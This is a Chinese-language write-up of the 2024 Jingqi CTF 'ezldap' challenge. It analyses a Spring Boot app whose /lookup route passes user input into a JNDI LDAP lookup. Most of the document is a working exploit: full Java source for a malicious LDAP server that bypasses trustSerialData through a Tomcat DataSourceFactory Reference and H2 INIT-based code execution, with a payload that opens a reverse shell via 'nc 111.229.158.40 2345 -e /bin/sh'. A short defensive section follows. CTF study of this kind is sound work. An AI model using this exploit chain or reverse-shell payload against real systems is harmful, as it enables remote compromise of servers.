2024京麒CTF ezldap复现
字数 1226 2025-08-22 12:22:54
2024京麒CTF ezldap漏洞分析与复现指南
1. 环境准备与调试配置
1.1 Docker环境配置
首先需要修改Dockerfile文件,暴露5005调试端口:
FROM eclipse-temurin:17.0.11_9-jdk-alpine
COPY app /app
EXPOSE 8080 5005
构建并运行容器:
docker build -t jq .
docker run -it --entrypoint /bin/bash -p 5005:5005 -p 1212:8080 jq
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar /app/demo-0.0.1-SNAPSHOT.jar
1.2 IDEA远程调试配置
- 在IDEA中添加运行配置,选择"Remote JVM Debug"
- 配置主机和端口(5005)
- 连接后可以设置断点进行调试
2. 漏洞发现与分析
2.1 信息收集
使用dirsearch扫描目录,发现存在Spring Boot Actuator未授权访问漏洞:
- 访问
/actuator/mappings发现关键路由:/source_tr15d0/lookup
2.2 漏洞代码分析
通过/source_tr15d0获取/lookup路由源码:
@GetMapping("/lookup")
public String lookup(String path) {
try {
String url = "ldap://" + path;
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
return "ok";
} catch (NamingException e) {
return "failed";
}
}
2.3 环境限制分析
从/actuator/env发现:
- 存在H2数据库依赖
com.sun.jndi.ldap.object.trustSerialData设置为false,限制了传统JNDI注入方式
3. 漏洞利用技术分析
3.1 LDAP解码机制
com.sun.jndi.ldap.Obj.java的关键变量:
static final String[] JAVA_ATTRIBUTES = new String[]{
"objectClass", "javaSerializedData", "javaClassName",
"javaFactory", "javaCodeBase", "javaReferenceAddress",
"javaClassNames", "javaRemoteLocation"
};
static final String[] JAVA_OBJECT_CLASSES = new String[]{
"javaContainer", "javaObject", "javaNamingReference",
"javaSerializedObject", "javaMarshalledObject"
};
3.2 绕过trustSerialData限制
- 设置
objectClass为"javaNamingReference" - 进入
decodeReference方法后:- 获取
javaClassName和javaFactory值 - 新建Reference对象
- 处理
javaReferenceAddress值
- 获取
- 最终返回恶意的Reference对象
3.3 利用链分析
- 使用
org.apache.tomcat.jdbc.pool.DataSourceFactory作为factory类 - 通过H2数据库的JDBC连接实现RCE
- 利用H2的
INIT参数执行命令
4. 漏洞利用实战
4.1 恶意LDAP服务器代码
import com.unboundid.ldap.listener.*;
import com.unboundid.ldap.sdk.*;
import javax.naming.*;
import java.net.*;
public class jingqi {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
System.out.println("Send LDAP reference");
entry.addAttribute("objectClass", "javaNamingReference");
String url = "jdbc:h2:mem:memdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
"INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {" +
"Runtime.getRuntime().exec(cmd)\\;return \"test\";}'\\;" +
"CALL EXEC('nc 111.229.158.40 2345 -e /bin/sh')\\;";
Reference ref = new Reference("javax.sql.DataSource",
"org.apache.tomcat.jdbc.pool.DataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", url));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("username", "sa"));
encodeReference('#', ref, entry);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e) {
e.printStackTrace();
}
}
private void encodeReference(char separator, Reference ref, Entry attrs) {
String s;
if ((s = ref.getClassName()) != null) {
attrs.addAttribute("javaClassName", s);
}
if ((s = ref.getFactoryClassName()) != null) {
attrs.addAttribute("javaFactory", s);
}
if ((s = ref.getFactoryClassLocation()) != null) {
attrs.addAttribute("javaCodeBase", s);
}
int count = ref.size();
if (count > 0) {
String refAttr = "";
RefAddr refAddr;
for (int i = 0; i < count; i++) {
refAddr = ref.get(i);
if (refAddr instanceof StringRefAddr) {
refAttr = ("" + separator + i + separator +
refAddr.getType() + separator + refAddr.getContent());
}
attrs.addAttribute("javaReferenceAddress", refAttr);
}
}
}
}
}
4.2 利用步骤
- 启动恶意LDAP服务器
- 构造请求触发漏洞:
/lookup?path=attacker-ip:1389/Exploit - 服务器将返回包含恶意Reference的LDAP响应
- 目标应用会通过H2 JDBC连接执行命令
4.3 注意事项
- H2 RCE的payload中
EXEC函数名只能使用一次 - 目标环境是Alpine Linux,只有
/bin/sh没有/bin/bash - 需要提前监听反弹shell的端口
5. 防御建议
- 禁用不必要的Actuator端点
- 升级JDK版本并设置安全属性:
com.sun.jndi.ldap.object.trustSerialData=false - 限制JNDI查找的协议和地址
- 避免在代码中直接使用用户输入构造JNDI查询
6. 技术总结
本漏洞利用链结合了:
- Spring Boot Actuator未授权访问
- JNDI注入绕过高版本JDK限制
- H2数据库JDBC连接RCE
- 通过LDAP Reference传递恶意配置
通过精心构造LDAP响应,绕过trustSerialData=false的限制,最终实现远程代码执行。